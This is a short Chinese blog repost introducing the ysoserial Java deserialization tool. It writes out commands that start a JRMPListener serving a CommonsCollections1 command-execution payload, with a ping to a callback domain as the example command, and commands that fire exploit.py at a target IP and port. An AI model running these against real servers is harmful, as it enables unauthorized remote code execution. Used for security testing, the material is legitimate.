码迷,mamicode.com
首页 > 其他好文 > 详细

反序列化工具ysoserial使用介绍

时间:2018-08-10 15:54:32      阅读:5211      评论:0      收藏:0      [点我收藏+]

标签:ref   beta   shell   snap   ons   ESS   SOS   序列化   技术   

反序列化工具ysoserial使用介绍

0x00 ysoserial是什么?

ysoserial集合了各种java反序列化payload;
下载地址:https://github.com/angelwhu/ysoserial

0x01 基本使用方法

在公网vps上执行:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  【port】 CommonsCollections1 ‘【commands】‘

port:公网vps上监听的端口号
commands:需要执行的命令
例子:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 ‘ping -c 2  rce.267hqw.ceye.io‘

重启一个shell窗口:

python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】  【JRMPListener port】 JRMPClient

列子:

python exploit.py 118.89.53.139  7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139  1099 JRMPClient

0x02 在ysoserial编写自己的payload

待定
技术分享图片

反序列化工具ysoserial使用介绍

标签:ref   beta   shell   snap   ons   ESS   SOS   序列化   技术   

原文地址:http://blog.51cto.com/13770310/2157251

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!